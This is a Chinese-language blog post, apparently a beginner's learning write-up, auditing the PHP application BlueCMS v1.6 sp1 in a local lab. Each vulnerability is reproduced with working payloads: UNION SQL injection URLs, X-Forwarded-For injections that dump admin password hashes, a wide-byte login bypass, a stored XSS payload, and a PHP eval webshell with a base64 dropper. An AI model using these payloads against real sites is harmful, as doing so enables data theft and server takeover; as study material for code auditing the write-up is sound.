[php代碼審計]bluecms v1.6 sp1

1、環境搭建

  • bluecms v1.6 sp1源碼
  • windows 7
  • phpstudy2016(php 5.4.45)
  • seay源代碼審計系統

源碼在網上很容易下載,不少教程說訪問地址 http://localhost/bluecms_v1.6_sp1/uploads/install/ 就會進入到安裝界面。這裏我遇到了一點小問題,訪問地址後顯示空白,沒法進行安裝,解決方式是 phpstudy 打開容許目錄列表,而且在 bluecms_v1.6_sp1\uploads\install\compile 目錄下刪掉圖中 php 文件,再訪問一次安裝地址就能夠了,而後按照提示進行數據庫配置便可成功搭建。php

  

 

2、漏洞列表

2.1SQL注入

用Seay源代碼審計系統掃一下,能夠發現有不少可能的漏洞,有一些誤報,具體審計一下代碼吧,先看一下 ad_js.php 文件html

 

定位到該條語句前端

 

getone() 是自定義的查詢數據庫的函數,跟進一下,能夠看到插入到數據庫查詢語句中的 $ad_id 除了 trim 去掉兩邊空格沒有任何的過濾,於是致使了數字型SQL注入,雖然 ad_js.php 還包含了 common.inc.php 文件,common.inc.php 進行了 addslashes($_GET) 轉義,可是因爲SQL語句中的變量沒有使用單引號保護,addslashes 也同時失去了做用mysql

function getone($sql, $type=MYSQL_ASSOC){
    $query = $this->query($sql,$this->linkid);
    $row = mysql_fetch_array($query, $type);
    return $row;
}

 

利用一下這個漏洞,由於方法很常規就只注入到列出表名linux

http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 order by 7
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,7//頁面空白,查看源碼發現打印第7列
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,database()
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

 

2.2XFF頭注入、僞造ip

接着查看 Seay 掃到的可疑注入點,看一下 /uploads/include/common.fun.php 代碼git

 

$ip 的值從 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等變量中得到,HTTP_CLIENT_IP 這個環境變量沒有成標準,不少服務器無法獲取。而第二個 HTTP_X_FORWARDED_FOR 能夠經過 HTTP 請求頭來修改github

/**
  * 獲取用戶IP
*/
function getip(){
    if (getenv('HTTP_CLIENT_IP')){
        $ip = getenv('HTTP_CLIENT_IP'); 
    }elseif (getenv('HTTP_X_FORWARDED_FOR')) { 
        //獲取客戶端用代理服務器訪問時的真實ip 地址
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }elseif (getenv('HTTP_X_FORWARDED')) { 
        $ip = getenv('HTTP_X_FORWARDED');
    }elseif (getenv('HTTP_FORWARDED_FOR')){
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }elseif (getenv('HTTP_FORWARDED')){
        $ip = getenv('HTTP_FORWARDED');
    }else{ 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}                

 

全局搜索一下這個函數,除了函數定義之外一共有兩處sql

 

查看 comment.php 代碼,getip() 獲取到的 $ip,直接插入到了SQL語句中,沒有過濾就執行了,這裏是存在SQL注入的。數據庫

 

利用一下這個漏洞,從 comment.php 代碼能夠推斷出,SQL注入出如今對文章進行評論的地方。在模擬發佈文章時出現一點問題,發佈文章時必定選擇新聞分類,可是管理員和普通用戶都不能建立分類,只好先把限制分類不能爲空的代碼註釋掉。windows

 

首頁->會員中心->本地新聞->發佈新聞(這裏發現寫中文內容的話會顯示爲空,因此測試內容都須要寫英文),先評論測試一下,看一下數據表記錄的字段默認值

 

顯然回顯的位置在 content 字段,因此能夠構造 X-Forwarded-For 值注入,先補充前一次查詢的 ip 和 is_check 字段完成第一次插入,再構造第二次插入,同時要注意閉合本來語句中的單引號。評論時進行抓包改包,能夠看到成功注入而且在評論列表有回顯,查到數據庫是 bluecms,直接查一下管理員用戶名及密碼哈希值也能夠成功獲取。

X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1

 

這樣插入完成後的完整 sql 語句是,顯然這裏的 ip 字段也能夠控制,能夠在注入的同時達到僞造 ip 的效果

$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
  VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";

 

2.3XFF頭注入2

再從全局搜索看 getip() 函數出現的另外一處 common.inc.php,getip() 賦值給變量 $online_ip,再全局搜索這個變量,發如今留言板界面變量也是沒有通過過濾,直接插入查詢語句,存在SQL注入

 

利用一下漏洞,測試時發現不管是否留言都會彈出留言內容不能爲空,修改前端代碼註釋掉這個函數,路徑是 bluecms_v1.6_sp1\uploads\templates\default\guest_book.htm

 

由於顯然回顯位置在 content 字段,因此構造一次插入語句就能夠了,能夠看到成功注出數據庫

X-Forwarded-For: 1',database())-- -

 

 

2.4寬字節注入

在 common.inc.php 中注意到數據庫編碼使用的是 gb2312,這有可能致使寬字節注入

 

找到管理員登陸的 bluecms_v1.6_sp1\uploads\admin\login.php,發現驗證用戶帳號密碼的函數爲 check_admin

 

在 bluecms_v1.6_sp1\uploads\admin\include\common.fun.php 文件中找到了 check_admin 函數定義,SQL語句變量使用單引號保護,可是 getone() 函數在2.1小節已經分析過了,沒有任何的過濾

function check_admin($name, $pwd)
{
    global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
     if($row['num'] > 0)
     {
         return true;
     }
     else
     {
         return false;
     }
}

 

而且 login.php 還包含了 bluecms_v1.6_sp1\uploads\admin\include\common.inc.php,這裏是將 $_POST 數據進行 addslashes 轉義的,恰好能夠利用 %df 讓轉義的反斜線失去做用

if(!get_magic_quotes_gpc())
{
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
}

 

利用一下漏洞,成功以管理員身份登陸(注意直接在瀏覽器輸入 %df 會被 urlencode,因此應該抓包發送)

 

2.5存儲型XSS

在 user.php 文件,用戶發佈新聞功能,發現 content 沒有使用 htmlspecialchars() 函數,而是 filter_data(),跟蹤看一下,在 /uploads/include/common.fun.php 找到函數定義代碼,只過濾了 script,iframe,frame,meta,link 等,這裏能夠用 a,img 等標籤繞過

function filter_data($str)
{
    $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
    return $str;
}

 

利用一下漏洞,由於前端代碼還會過濾一些敏感字符,因此因此不直接提交攻擊代碼,抓包修改 payload,能夠看到漏洞利用成功

<img src="" onerror="alert(123456)">

 

 

2.6任意URL跳轉

在 user.php 中,很明顯 $act == 'do_login' 是登陸功能,看到有一個 $from 變量,再結合登陸成功後顯示回到該變量指向參數,能夠猜想這個 $from 保存來源 url,方便用戶登錄後回到原來瀏覽的頁面

 

全局搜索 $from 並無被其餘函數過濾,直接利用一下(注意 $from 應該和源代碼同樣 base64 加密),將 http://www.baidu.com 編碼爲 aHR0cDovL3d3dy5iYWlkdS5jb20= 改包放包後能夠看到頁面成功跳轉到百度

 

2.7文件包含

user.php 的支付功能,能夠經過 $_POST['pay'] 控制文件包含的路徑,可是後面拼接了 /index.php

 

有兩種方式能夠截斷

繞過方法1:%00 截斷

條件:magic_quotes_gpc = Off,PHP版本<5.3.4

繞過方法2:路徑長度截斷

條件:windows 下目錄路徑最大長度爲256字節,超出部分將丟棄;linux 下目錄最大長度爲4096字節,超出長度將丟棄;PHP版本<5.2.8

 

因爲本地搭建版本是5.4.45,降到 5.2.17 測試一下這個漏洞,這裏包含的時候遇到個小問題,注意它的路徑是 include 'include/payment/'.$_POST['pay']."/index.php"; 是找這個的相對路徑不是 user.php 的

 

我的資料中能夠上傳我的頭像,上傳一個內容爲 <?php @eval($_POST['apple']);?> 的 hack.jpg,再查看下路徑

 

文件包含圖片馬成功

 

還看到其餘方法,在圖片中插入從新寫入一個馬 apple.php 的代碼,這樣生成新馬後蟻劍管理起來會比圖片馬方便不少

<?php @fputs(fopen(base64_decode('YXBwbGUucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydhcHBsZSddKTs/Pg=='));?>

 

包含一下,看到目錄下成功生成木馬 apple.php

 

2.8任意文件刪除

user.php 的編輯我的資料功能,直接調用 unlink 函數刪除 $_POST['face_pic3'],沒有進行相應的檢查,存在任意文件刪除漏洞

 

利用一下漏洞,抓包修改 act=edit_user_info ,post 添加 face_pic3,成功刪除2.7小節寫入的木馬 apple.php

 

 

3、總結

第一次嘗試作cms審計,同種利用方式的漏洞只寫了一處,還有一些漏洞沒有一一列舉出來。bluecms 算是一次入門級的復現加一些本身的思考吧,但願這篇隨筆能夠在理清本身思路的同時幫助到像我同樣的初學者。

此次 cms 審計學習到審計工具存在一些誤報,不能過分依賴。跟蹤用戶輸入、查看變量的傳遞過程,發現一些問題時回溯變量,或者直接挖掘功能點的漏洞,對個別文章進行通讀,全局搜索易發生漏洞的函數,按照經驗直接測試一些常見的漏洞都是頗有效的方法。

還有,讀着前輩的代碼想起本身上學期的數據庫課設,先後端寫在一塊兒,邏輯沒有這麼清晰,也沒注意安全方面。這份代碼雖然陌生,可是邏輯和功能都很明確,很快就能夠明白開發者的思路,下次再有機會作PHP開發要好好借鑑經驗啦.

 

 

參考:

https://chybeta.github.io/2017/03/14/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BSQL%E6%B3%A8%E5%85%A5%EF%BC%9ABlueCMSv1-6-sp1/

https://blog.szfszf.top/tech/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-bluecms-v1-6/

http://www.javashuo.com/article/p-rtrnrzrs-u.html

相關文章
相關標籤/搜索